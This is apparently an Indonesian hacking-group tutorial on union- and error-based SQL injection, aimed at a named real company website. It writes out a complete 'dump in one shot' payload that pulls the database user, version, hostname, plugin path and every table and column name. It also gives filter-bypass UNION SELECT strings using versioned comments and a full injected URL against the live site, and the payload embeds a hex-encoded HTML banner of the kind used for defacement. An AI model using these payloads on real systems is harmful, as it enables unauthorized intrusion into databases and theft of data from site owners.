Tutorial SQL chall ( error based )

Assalamualaikum

Ketemu lagi dengan gua Noub93 Gans,akan ngasi tutor Sql Error Based

Untuk chall nya :  http://inhutani4.co.id/produk.php?type=Produk&id=12

#ALAT" TEMPUR:V

•>siapin kuota

•>Dios 

Untuk dios nya : CoNcAt/**8***/(0x3c63656e7465723e272c273c696d67207372633d2268747470733a2f2f692e6962622e636f2f637666376643732f32303230303630372d3232343531352e706e6722206865696768743d223330307078222077696474683d22333030707822272c273c2f63656e7465723e272c273c2f62723e272c273c666f6e7420636f6c6f723d22626c61636b222073697a653d223525223e4e6f756239332047616e733c2f666f6e743e3c2f62723e3c666f6e7420636f6c6f723d22626c61636b222073697a653d223525223e4e65787573204379626572205465616d3c2f666f6e743e3c62723e,0x555345523a3e,current_user,0x3c62723e,0x56455253494f4e3a3e,version(),0x3c62723e,%200x504c5547494e3a3e,@@plugin_dir,%200x3c62723e,%200x53594d4c494e4b3a3e,@@GLOBAL.have_symlink,%200x3c62723e,%200x484f53544e414d453a3e,@@hostname,%200x3c62723e,0x3c666f6e7420636f6c6f723d22626c7565223e,(select(@x)/*!50000From*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000Information_schema.columns*/)/*!50000Where*/(table_schema=database/*data*//**8**/())and(0x00)in(@x:=/*!50000coNcat*/(@x,0x3c6c693e,/*!50000table_name*/,0x3a3a,/*!50000column_name*/))))x))--+-

Lanjut aja ke tutor nya ......

Kalian buka aja di google http://inhutani4.co.id/produk.php?type=Produk&id=12

Maka tampilan akan menjadi seperti ini

Cara mengetahui Vuln atau ngga nya kalian tambahin '

Jika sudah maka tampilan akan menjadi seperti ini

Berarti itu vuln okehhh

Lanjuttt....

Tambahin order+by+1--+-

Kalian cari sampe nemu yg erorr

order+by+1,2--+-

order+by+1,2,3--+-

order+by+1,2,3,4--+-

Nah disini gua nemu nya di angka 5

order+by+1,2,3,4,5--+-

Berarti angka ajaib nya ada di no 4 

Cara untuk mengecek nya?

Kalian ganti order+by nya menjadi union select

Disini gua pake yg bypas

+AND+0+/*!50000%55niON*/+/*!50000%53eLeCt*/+1,2,3,4--+-

Biar nemu togel nya:v

karna ini harus di bypas 

Lanjut ae .....

Contoh : http://inhutani4.co.id/produk.php?type=Produk&id=12%27+AND+0+/*!50000%55niON*/+/*!50000%53eLeCt*/+1,2,3,4--+-

Maka tampilan menjadi seperti ini

Nah dah ketemu togel nya

Lalu masukin dios kalian di angka togel barusan!!

Contoh : http://inhutani4.co.id/produk.php?type=Produk&id=12%27+AND+MOD(9,9)+/*!50000UNION/****/*/+/*!50000SELECT/****/*/+1,2,3,CoNcAt/**8***/(0x3c63656e7465723e272c273c696d67207372633d2268747470733a2f2f692e6962622e636f2f637666376643732f32303230303630372d3232343531352e706e6722206865696768743d223330307078222077696474683d22333030707822272c273c2f63656e7465723e272c273c2f62723e272c273c666f6e7420636f6c6f723d22626c61636b222073697a653d223525223e4e6f756239332047616e733c2f666f6e743e3c2f62723e3c666f6e7420636f6c6f723d22626c61636b222073697a653d223525223e4e65787573204379626572205465616d3c2f666f6e743e3c62723e,0x555345523a3e,current_user,0x3c62723e,0x56455253494f4e3a3e,version(),0x3c62723e,%200x504c5547494e3a3e,@@plugin_dir,%200x3c62723e,%200x53594d4c494e4b3a3e,@@GLOBAL.have_symlink,%200x3c62723e,%200x484f53544e414d453a3e,@@hostname,%200x3c62723e,0x3c666f6e7420636f6c6f723d22626c7565223e,(select(@x)/*!50000From*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000Information_schema.columns*/)/*!50000Where*/(table_schema=database/*data*//**8**/())and(0x00)in(@x:=/*!50000coNcat*/(@x,0x3c6c693e,/*!50000table_name*/,0x3a3a,/*!50000column_name*/))))x))--+-

Nah maka tampilan akan menjadi gini

Sekian dari gua Dan terimakasih

#Nexus Cyber Team